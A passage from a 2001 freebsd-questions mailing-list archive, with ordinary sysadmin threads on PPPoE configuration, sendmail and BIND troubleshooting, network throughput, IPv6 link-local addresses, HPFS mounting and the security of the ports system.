Modem, 'cause > then you'd connect a network cable between it and your network card. > > The FreeBSD Handbook has a chapter on PPPoE. Depending on what release of > FreeBSD you're using, it may involve recompiling your Kernel to include the > options required to do this. > > # PPPoE Stuff > options NETGRAPH > options NETGRAPH_ETHER > options NETGRAPH_PPPOE > options NETGRAPH_SOCKET > > Most of the tutorials leave out one of the 4 options and then your kernel > panics with errors about netgraph already installed, so be sure to include > all four! I believe FreeBSD 4.4+ will auto load the kernel modules for you. > > http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/pppoe.html > > I added some items to my /etc/rc.conf file like: > > # PPPoE stuff > ifconfig_vr1="up" > ppp_enable="YES" > ppp_mode="ddial" > ppp_profile="default" > > Then you have to configure /etc/ppp/ppp.conf. This is my entire file: > > default: > set device PPPoE:vr1 > set speed sync > set mru 1492 > set mtu 1492 > set ctsrts off > enable lqr > set authname your.bell.user.id > set authkey your.bell.password > set log Phase tun command > set dial > set login > set ifaddr 10.0.0.1/0 10.0.0.2/0 > add default HISADDR > # nat enable yes > > papchap: > set authname your.bell.user.id > set authkey your.bell.password > > In this case, vr1 is the network card I'm using to connect to the DSL > Modem. I suppose if you get your USB DSL Modem installed you would > substitute that device name there. > > They've made it super easy lately. More and more are using ADSL > connections. I remember a little over a year ago when I tried to do this > with FreeBSD 4.1 I believe, it was a bit of a hassle for about a week before > I got it working ;-) > > -gf > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 12:27:55 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id A555937B416 for ; Thu, 22 Nov 2001 12:27:51 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fAMKReJ01053; Thu, 22 Nov 2001 21:27:41 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <039901c17394$22bf4900$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Anthony D'asero" , References: <000801c17391$d4917840$0301a8c0@tonyl0hivzdf57> Subject: Re: ? Date: Thu, 22 Nov 2001 21:27:40 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG What were you hoping that it would do? A dollar sign is what you'd normally expect to see after logging in to a UNIX system. ----- Original Message ----- From: "Anthony D'asero" To: Sent: Thursday, November 22, 2001 21:11 Subject: ? Hi: I did install the 4.4 version of Linux X86, and after spending 6 hours trying to get thru LOGIN I get a dollar sign, and nothing else. What do you use this thing for, it does not seem to be able to do any thing. Please help me understand, I am lost. Thank you. Anthony D'asero To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 12:32:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from fremont.bolingbroke.com (adsl-216-102-90-210.dsl.snfc21.pacbell.net [216.102.90.210]) by hub.freebsd.org (Postfix) with ESMTP id 2B34037B405 for ; Thu, 22 Nov 2001 12:32:08 -0800 (PST) Received: from fremont.bolingbroke.com (fremont.bolingbroke.com [216.102.90.210]) by fremont.bolingbroke.com (8.12.1/8.12.1) with ESMTP id fAMKW720086064; Thu, 22 Nov 2001 12:32:07 -0800 (PST) Date: Thu, 22 Nov 2001 12:32:07 -0800 (PST) From: Ken Bolingbroke To: "Justin P. Michel" Cc: questions@FreeBSD.ORG Subject: Re: Sendmail Configuration In-Reply-To: <01cf01c17391$01c7d490$090ea8c0@vhds001> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Sendmail is looking for the hostname of the IP address 192.168.14.1. You need to set it in either /etc/hosts or DNS. Ken Bolingbroke hacker@bolingbroke.com On Thu, 22 Nov 2001, Justin P. Michel wrote: > Greetings, > > I am using FBSD V4.4 Release, with the bundled version of Sendmail. > > It seems to be working fine, however, I continually get the error message on the console: > > jcontinuum sendmail: gethostbyaddr(192.168.14.1) failed: 1 > > I believe this error is pertaining to sendmail not being able to get the hostname of my system. I thought I set it in the right place in the sendmail.cf file: > > # my official domain name > # ... define this only if sendmail cannot automatically determine your domain > Dj$w.jcontinuum.ca > > However, even after a reboot, it still gives me the same error. Can somebody tell me where to set this properly? > > Regards, > > Justin P. Michel > J Continuum > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 12:34:56 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lists.blarg.net (lists.blarg.net [206.124.128.17]) by hub.freebsd.org (Postfix) with ESMTP id 965E337B417 for ; Thu, 22 Nov 2001 12:34:54 -0800 (PST) Received: from thig.blarg.net (thig.blarg.net [206.124.128.18]) by lists.blarg.net (Postfix) with ESMTP id 483D4BD73; Thu, 22 Nov 2001 12:34:54 -0800 (PST) Received: from localhost.localdomain ([206.124.139.115]) by thig.blarg.net (8.9.3/8.9.3) with ESMTP id MAA17050; Thu, 22 Nov 2001 12:34:53 -0800 Received: (from jojo@localhost) by localhost.localdomain (8.11.6/8.11.3) id fAMKWlU75597; Thu, 22 Nov 2001 12:32:47 -0800 (PST) (envelope-from swear@blarg.net) To: Ryan Thompson Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Maximizing throughput References: From: swear@blarg.net (Gary W. Swearingen) Date: 22 Nov 2001 12:32:47 -0800 In-Reply-To: Message-ID: <5ezo5ev95c.o5e@localhost.localdomain> Lines: 14 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ryan Thompson writes: [big snip of nothing new] > > The same file, copied with NFS over TCP between the same two hosts, > ^^^ > UDP, I should say. Actually, the difference in performance isn't > significant. [big snip of nothing new] Give us a break, please. Trim your quotes (so we don't have to parse all that stuff twice and other reasons). Especially when you only comment on one little thing. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 12:37:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from rambo.simx.org (rambo.simx.org [194.17.208.54]) by hub.freebsd.org (Postfix) with ESMTP id 3958937B405 for ; Thu, 22 Nov 2001 12:37:52 -0800 (PST) Received: from rambo.simx.org (rocky [192.168.0.2]) by rambo.simx.org (8.11.6/8.11.6) with ESMTP id fAMKbJZ28960; Thu, 22 Nov 2001 21:37:19 +0100 (CET) (envelope-from listsub@rambo.simx.org) Message-ID: <3BFD6288.3010500@rambo.simx.org> Date: Thu, 22 Nov 2001 21:39:36 +0100 From: "Roger 'Rocky' Vetterberg" Reply-To: listsub@rambo.simx.org User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 X-Accept-Language: en-us MIME-Version: 1.0 To: Ryan Thompson Cc: francisv@dagupan.com, freebsd-questions@FreeBSD.ORG Subject: Re: Maximizing throughput References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Just to give you some figures to compare with: time ncftpget -u rocky\ ftp://rambo/4.4-disc3.iso Password: ******** 4.4-disc3.iso: 627.88 MB 5.50 MB/s real 1m58.424s user 0m1.066s sys 0m51.974s This would give a troughput about 40-45Mbps, which sounds about right since this is a fairly busy 100Mbit network. Both machines armed with Netgears F310-TX cards connected to a Netgear 10/100 switch, high quality cable all the way. -- R Ryan Thompson wrote: > Ryan Thompson wrote to francisv@dagupan.com: > > >>francisv@dagupan.com wrote to ryan@sasknow.com: >> >> >>>Thank you, Ryan, for the detailed response. Please see my comments below: >>> >>>[ Large snip ] >>> >>> >>>>My first wave of questions goes something like this, >>>>1. What application layer protocol is being used to transfer? >>>> >>>FTP >>> >>Right. Application layer protocols are ALWAYS bad tests of link >>throughput. There is a lot of overhead, and the application itself >>might leave the link idle. >> >> >> >>>>2. Does it run over TCP or UDP? >>>> >>>TCP >>> >>Yep.. Slowstart might be a factor, if there are more than a few >>retransmissions. You might be running into flow control problems on >>the receiver side. FTP and TCP also add quite a bit of overhead, so a >>better test would be to set up some count firewall rules on one of the >>machines to monitor ALL traffic on the link. Probably your >>transmission is humming along fine most of the time. Every time one >>end has to retransmit, though, your transmission rate essentially gets >>cut in half. And TCP WILL have to retransmit at semi-regular >>intervals, because it always probes the link to find the maximum rate, >>and will invariably exceed the maximum and cause a packet to be lost. >>So, I guess, what I'm saying here, is that this is fairly normal. >>There are many good reasons WHY TCP operates like this... And there >>are many good reasons why you should not mess with the way TCP >>operates ;-) >> >> >> >>>>3. Are you using CAT5 cabling between both hosts and the switch? >>>> >>>Yes, we're using category 5 UTP cable on both hosts; less than 5 feet >>>per host to the switch >>> >>Assuming the cable tests ok, is not damaged, or bent at sharp angles, >>that should be OK. >> >> >> >>>4. How loaded are the machines? The switch? >>> >>>Between 5-10 percent load >>> >>Depending on what you mean by that (CPU load? Network load? Disk load? >>Some combination of those three?), that doesn't sound like a major >>factor. >> >> >> >>>>5. How did you calculate your "speed" statistic? Are you sure? >>>> >>>I don't know if the throughput display (after uploading) of the >>>FTP client is in megabytes or megabits; I'm guessing it's in >>>megabytes, not megabits. From my MRTG graph, it used a maximum of >>>15.6 megabits -- is this the actual throughput limit? >>> >>ftp(1) reports transfer times in KB/s (kilobytes per second). The >>derived conversion from KB/s -> Mbps (megabits per second) is >> >> x KB/s = 8x/1024 Mbps = x/128 Mbps >> >>15.6 Mbps is not special in any way that I'm aware of, at least not in >>your context. Typical application layer throughput on Fast Ethernet is >>usually on the order of, say, 70 Mbps, but is quite variable, so 60-80 >>Mbps isn't unusual, depending on the application. 15.6 Mbps is kind of >>slow. Chances are the actual link is going much faster, but you are >>running into retransmissions. (Watch the FTP progress.. does it pause >>briefly during the transfer? The answer is probably YES, unless you >>are pretty lucky). >> >>I just ran a test between a FreeBSD 4.4 (TCP extensions enabled) >>machine and a 3.5 machine, over our 100Mbps switched Ethernet LAN >>(which is under some load), using a ~630MB file. Running three trials, >>I got about 2MB/s each time (~16Mb/s). And, actually, that's not too >>bad for FTP, considering the load this LAN, and the end hosts, are >>already under. Different implementations of TCP will also vary >>somewhat, in the way they handle retransmissions. >> >>The same file, copied with NFS over TCP between the same two hosts, >> > ^^^ > UDP, I should say. Actually, the difference in performance isn't > significant. > > > >>took (wall time) about 6 minutes (about 16MB/s), so the results are >>similar. >> >>So, in your case, I'd say you're within 100% of normal for a single >>TCP connection. >> >>- Ryan >> >> >> >>>>6. Are there any routers between the two hosts? >>>> >>>No, there are no routers in between >>> >>>Things to try: >>>Connect the machines directly with crossover cable, or connect them to >>>a hub. Run tcpdump on one of the machines (or another host on the same >>>segment) and look for any weirdness. >>> >>>As for possible causes/remedies, it's hard to say at this point. Like >>>I said, one of your likely symptoms is dropped packets. This could >>>happen at just about any layer. Maybe your cabling is poor grade (or >>>there is too much EMI), causing Ethernet frames to get dropped. Maybe >>>one of the hosts (or the switch) is configured wrong. Maybe your >>>transfer application is broken. Maybe one of your network cards needs >>>to be replaced. Maybe one of your cables is defective. >>> >>>So, as for increasing the bandwidth limit, you'll need to fix whatever >>>is slowing things down. :-) >>> >>>Hope this helps, >>>- Ryan >>> >>> >>>To Unsubscribe: send mail to majordomo@FreeBSD.org >>>with "unsubscribe freebsd-questions" in the body of the message >>> >>> >> > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 12:39:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from marlo.eagle.ca (marlo.eagle.ca [209.167.16.10]) by hub.freebsd.org (Postfix) with ESMTP id BC19B37B416 for ; Thu, 22 Nov 2001 12:39:06 -0800 (PST) Received: from BobLablaw (staff.eagle.ca [209.167.16.15]) by marlo.eagle.ca (8.11.3/8.11.3) with SMTP id fAMKbtM26064; Thu, 22 Nov 2001 15:37:56 -0500 (EST) (envelope-from freymann@scaryg.shacknet.nu) Message-ID: <013f01c17395$cb0e06e0$7301a8c0@eagle.ca> From: "ScaryG" To: "Steve Brown" , "Fuji Zhang" Cc: References: <000d01c17381$94666b00$7301a8c0@eagle.ca> <000c01c17393$fd7255c0$660f129f@bro5637> Subject: Re: high speed internet connection and lesstif question Date: Thu, 22 Nov 2001 15:39:33 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > I believe your [Fuji Zhang's] best bet is to forget the USB, > part with you're $25 -> $30 (CDN) and pick up an > ethernet card. Make sure it's on this list: > > ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/4.4-RELEASE/HARDWARE.TXT Couldn't agree more! > A few good reasons to stick with Ethernet: > > - It will also work with a cable modem if you decide to try Rogers/Shaw > - or any other ISP's DSL package > - If you decide to share the connection with more than 1 computer via BB > router (Link-Sys, SMC Barricade, etc) you'll already be prepared. These > goodies cost under $140 CDN and you get the benefit of an IP firewall as > well. More good info. I often wondered if I should have just broke down and bought a Netgear RT314 and saved me some grief configuring my FreeBSD box but hey, I had all the stuff here and it didn't cost me anything but time. I have two NICS in my box in which the second feeds a hub and my other machines. But for those not willing to goof around with NAT and IPFW in addition to trying PPPoE the Internet Gateway gadgets are a nice idea. > ScaryG has it right about the ppp.conf and kernel config. I -did- have to > re-compile my 4.4 kernel to get it to work, the handbook does appear to be > wrong on this. Really? This is still goofy? I re-read over the PPPoE section in the handbook and was happy to see you could just run with it without compiling. I wonder why the handbook would suggest recompiling the kernel with the four options is not required when you say it is? Odd. Oh well, rock on with your bad self. -- I can please only one person per day. Today is not your day. Tomorrow isn't looking good either. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 12:41:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from gaia.host4u.net (gaia.host4u.net [209.150.128.48]) by hub.freebsd.org (Postfix) with ESMTP id B1C4537B405 for ; Thu, 22 Nov 2001 12:41:14 -0800 (PST) Received: from andre ([216.71.43.117]) by gaia.host4u.net (8.8.5/8.8.5) with SMTP id OAA28105 for ; Thu, 22 Nov 2001 14:39:03 -0600 Message-ID: <016c01c17395$bb6b0940$a50410ac@olmct.net> Reply-To: "Andre` Niel Cameron" From: "Andre` Niel Cameron" To: "free bsd" Subject: Problems with Bind. Date: Thu, 22 Nov 2001 15:39:07 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2462.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG It does not appear that BIND is fireing up on my server as everything is relying on the secondary name server. Is there a way for me to check to see if BIND is up and how can I restart it from the command line to check for errors? Regards, Andre` C. Technical Support Ô¿Ô¬ ---------------------------------------------------------------------------- - Visit our support manual at http://supportmanual.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 12:50:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mirapoint2.brutele.be (mirapoint2.brutele.be [212.68.193.7]) by hub.freebsd.org (Postfix) with ESMTP id C1BB437B405 for ; Thu, 22 Nov 2001 12:50:13 -0800 (PST) Received: from gateway.lefort.net ([213.189.162.247]) by mirapoint2.brutele.be (Mirapoint) with SMTP id AOJ16619; Thu, 22 Nov 2001 21:50:03 +0100 (CET) Received: from jsite.lefort.net (jsite.lefort.net [192.168.1.2]) by gateway.lefort.net (8.11.6/8.11.6) with ESMTP id fAMKo3E02904; Thu, 22 Nov 2001 21:50:03 +0100 (CET) (envelope-from jylefort@jsite.lefort.net) Received: (from jylefort@localhost) by jsite.lefort.net (8.11.6/8.11.6) id fAMKo2u42004; Thu, 22 Nov 2001 21:50:02 +0100 (CET) (envelope-from jylefort) Date: Thu, 22 Nov 2001 21:50:02 +0100 From: Jean-Yves Lefort To: Juan Luis Baptiste Cc: freebsd-questions@FreeBSD.org Subject: Re: IPv6 autoconfiguration Message-ID: <20011122215002.A40477@jsite.lefort.net> Mail-Followup-To: Juan Luis Baptiste , freebsd-questions@FreeBSD.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from p3rr0@hotmail.com on Thu, Nov 22, 2001 at 02:11:01PM +0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, Nov 22, 2001 at 02:11:01PM +0000, Juan Luis Baptiste wrote: > Why do you want to get rid of that addresses? fe80 are link local addresses, > and are the representation of the MAC address in EUI-64 format. And as far > as I know, the are used for neighbor discovery and autoconfiguration > purposes. > > >From RCF 2461: > > link-local address > - a unicast address having link-only scope that can be > used to reach neighbors. All interfaces on routers > MUST have a link-local address. Also, [ADDRCONF] > requires that interfaces on hosts have a link-local > address. > > > Hope this helps, > > Juan Luis Baptiste M. > http://www.merlinux.org > > >From: Jean-Yves Lefort > >To: freebsd-questions@FreeBSD.org > >Subject: IPv6 autoconfiguration > >Date: Wed, 21 Nov 2001 21:57:40 +0100 > > > >Hi all, > > > >Previously addresses in the form fe80*% were assigned > >automatically > >to my IPv6 network interfaces. Having read that those fe80 addresses are > >used > >by IPv6 configuration, and having decided that I don't need this feature, I > >have been able to disable the automatic assignation by appending the > >following > >line in my /etc/sysctl;conf: > > > >net.inet6.ip6.auto_linklocal=0 > > > >After a system reboot, the move seemed to be successfull for all interfaces > >*but* the loopback interface: > > > ># ifconfig lo0 > >lo0: flags=8049 mtu 16384 > > inet6 ::1 prefixlen 128 > > >>>> inet6 fe80::1%lo0 prefixlen 64 scopeid 0x2 <<<< > > inet 127.0.0.1 netmask 0xff000000 > > > >Is there a way (other than ifconfig delete) to get rid of that address? > > > >Best regards, > >Jean-Yves Lefort I want to get rid of that address because I don't need autoconfiguration since I manually assigned IPv6 addresses to all the hosts of my network. Moreover, even if I wanted to use autoconfiguration, I think that the loopback interface (the one which still keeps a link local address as stated in my previous mail) really doesn't need autoconfiguration nor neighbour discovery, since its address will _always_ be ::1/128. I just wanted to know how to get rid of the lo0 link local address using the *neat* way (if there is one), because deleting it in a boot script using 'ifconfig delete' doesn't seems to be a neat way for me. Thanks for your help, Jean-Yves Lefort To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 12:58:24 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mcqueen.wolfsburg.de (pns.wobline.de [212.68.68.5]) by hub.freebsd.org (Postfix) with ESMTP id AAC2337B417 for ; Thu, 22 Nov 2001 12:58:20 -0800 (PST) Received: from colt.ncptiddische.net (ppp-217.wobline.de [212.68.69.228]) by mcqueen.wolfsburg.de (8.11.3/8.11.3/tw-20010821) with ESMTP id fAMKwBN29401; Thu, 22 Nov 2001 21:58:11 +0100 Received: from jodie.ncptiddische.net (jodie.ncptiddische.net [192.168.0.2]) by colt.ncptiddische.net (8.11.6/8.11.6) with ESMTP id fAMKx2t32005; Thu, 22 Nov 2001 21:59:02 +0100 (CET) (envelope-from nils@tisys.org) Received: from jodie.ncptiddische.net (jodie.ncptiddische.net [192.168.0.2]) by jodie.ncptiddische.net (8.11.6/8.11.6) with ESMTP id fAMKvWr21330; Thu, 22 Nov 2001 21:58:07 +0100 (CET) (envelope-from nils@tisys.org) Date: Thu, 22 Nov 2001 21:57:32 +0100 (CET) From: Nils Holland To: "Anthony D'asero" Cc: freebsd-questions@FreeBSD.ORG Subject: Re: ? In-Reply-To: <000801c17391$d4917840$0301a8c0@tonyl0hivzdf57> Message-ID: <20011122215207.L21175-100000@jodie.ncptiddische.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 22 Nov 2001, Anthony D'asero wrote: > Hi: I did install the 4.4 version of Linux X86, and after spending 6 hours trying to get thru LOGIN I get a dollar sign, and nothing else. > What do you use this thing for, it does not seem to be able to do any thing. > Please help me understand, I am lost. > Thank you. > Anthony D'asero You may want to enter export PS1="#" That will turn your dollar sign into a #. Hope that helps, Nils Nils Holland Ti Systems - FreeBSD in Tiddische, Germany http://www.tisys.org * nils@tisys.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 12:58:54 2001 Delivered-To: freebsd-questions@freebsd.org Received: from femail6.sdc1.sfba.home.com (femail6.sdc1.sfba.home.com [24.0.95.86]) by hub.freebsd.org (Postfix) with ESMTP id 279C737B417 for ; Thu, 22 Nov 2001 12:58:49 -0800 (PST) Received: from vhds001 ([24.78.12.247]) by femail6.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP id <20011122205848.VURB29597.femail6.sdc1.sfba.home.com@vhds001>; Thu, 22 Nov 2001 12:58:48 -0800 Message-ID: <025f01c17398$ca2721f0$090ea8c0@vhds001> Reply-To: "Justin P. Michel" From: "Justin P. Michel" To: "Andre` Niel Cameron" , "free bsd" References: <016c01c17395$bb6b0940$a50410ac@olmct.net> Subject: Re: Problems with Bind. Date: Thu, 22 Nov 2001 16:00:59 -0500 Organization: Continuum MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Andre, I believe you can check if bind is running by typing: ps -ax | grep named An output something like: 191 ?? Is 0:12.05 named -u bind -g bind 345 v0 S+ 0:00.01 grep named indicates that it is running. To restart it from the command line, you can type: /usr/sbin/named However, with the default configuration that comes with FBSD V4.4 Release, you can run it as user 'bind' instead of root by typing: /usr/sbin/named -u bind -g bind Regards, Justin | FBSD - Unleash the Daemon! | jpmichel@jcontinuum.ca ----- Original Message ----- From: "Andre` Niel Cameron" To: "free bsd" Sent: Thursday, November 22, 2001 3:39 PM Subject: Problems with Bind. > It does not appear that BIND is fireing up on my server as everything is > relying on the secondary name server. Is there a way for me to check to see > if BIND is up and how can I restart it from the command line to check for > errors? > > Regards, > Andre` C. > Technical Support > Ô¿Ô¬ > -------------------------------------------------------------------------- -- > - > Visit our support manual at http://supportmanual.com/ > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 13: 1:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtp03.wxs.nl (smtp03.wxs.nl [195.121.6.37]) by hub.freebsd.org (Postfix) with ESMTP id D76C637B417 for ; Thu, 22 Nov 2001 13:01:13 -0800 (PST) Received: from yokozuna.bsd ([213.10.35.60]) by smtp03.wxs.nl (Netscape Messaging Server 4.15) with ESMTP id GN7ZQ000.31L for ; Thu, 22 Nov 2001 22:01:12 +0100 Date: Wed, 21 Nov 2001 21:59:49 +0100 (CET) From: Marco Beishuizen Reply-To: Marco Beishuizen To: freebsd-questions@freebsd.org Subject: mounting hpfs partitions Message-ID: OS: FreeBSD => http://www.freebsd.org MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, Does anyone know if I can mount hpfs partitions in freebsd? Thanks, Marco -- The first time, it's a KLUDGE! The second, a trick. Later, it's a well-established technique! -- Mike Broido, Intermetrics To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 13: 2:24 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lists.blarg.net (lists.blarg.net [206.124.128.17]) by hub.freebsd.org (Postfix) with ESMTP id A319137B405; Thu, 22 Nov 2001 13:02:19 -0800 (PST) Received: from thig.blarg.net (thig.blarg.net [206.124.128.18]) by lists.blarg.net (Postfix) with ESMTP id 4039EBD3D; Thu, 22 Nov 2001 13:02:19 -0800 (PST) Received: from localhost.localdomain ([206.124.139.115]) by thig.blarg.net (8.9.3/8.9.3) with ESMTP id NAA20472; Thu, 22 Nov 2001 13:02:18 -0800 Received: (from jojo@localhost) by localhost.localdomain (8.11.6/8.11.3) id fAML0D475603; Thu, 22 Nov 2001 13:00:13 -0800 (PST) (envelope-from swear@blarg.net) To: "Anthony Atkielski" Cc: "FreeBSD Questions" , Subject: Re: setuid on nethack? References: <014201c17336$40653f90$0a00000a@atkielski.com> <20011122112415.B855@straylight.oblivion.bg> <016001c17338$37d65240$0a00000a@atkielski.com> <20011122114813.C855@straylight.oblivion.bg> <016601c1733d$7a516b00$0a00000a@atkielski.com> From: swear@blarg.net (Gary W. Swearingen) Date: 22 Nov 2001 13:00:12 -0800 In-Reply-To: <016601c1733d$7a516b00$0a00000a@atkielski.com> Message-ID: Lines: 28 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Anthony Atkielski" writes: > When I add ports and stuff to my system, sometimes they are picked up from some > bizarre FTP sites, and in cases where the executables do not have to be trusted, > some guidelines on how better to secure them would be welcome. I know that > often they are being rebuilt from source before installation, but it isn't > really practical to read through the source for every port just to look for > suspicious code. I've also worried about this sort of thing since learning the ports system last winter. There's a lot of downloading and running of scripts as root going on and it's scary, especially after you've spent many days tring to improve your security. A few more observations on the subject: The main defense seems to be the fear of being tracked down by hackers more skillful than most crackers, aided by the use of MD5 to verify that you're installing the same thing that someone else has already installed and found (with meager testing, sadly, but necessarily) to work OK. I've read of little vandalware on FreeBSD (or Linux). The risk seems acceptable for most people, at least those who do backups. There also might not be any less risky practical alternatives for many. If one learns the details of the ports system, one can do all or most of the ports stuff as a regular user, downloading, building, and installing to non-standard, non-root-protected directories. Someone posted some clues about this on -questions (or -stable?) withing the last couple of weeks, but I can't find my copy of it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 13: 8: 3 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id 307F237B405; Thu, 22 Nov 2001 13:07:52 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fAML7gJ01176; Thu, 22 Nov 2001 22:07:42 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <03a801c17399$ba011c30$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Gary W. Swearingen" Cc: "FreeBSD Questions" , References: <014201c17336$40653f90$0a00000a@atkielski.com><20011122112415.B855@straylight.oblivion.bg><016001c17338$37d65240$0a00000a@atkielski.com><20011122114813.C855@straylight.oblivion.bg><016601c1733d$7a516b00$0a00000a@atkielski.com> Subject: Re: setuid on nethack? Date: Thu, 22 Nov 2001 22:07:42 +0100 Organization: Anthony's Home Page (development 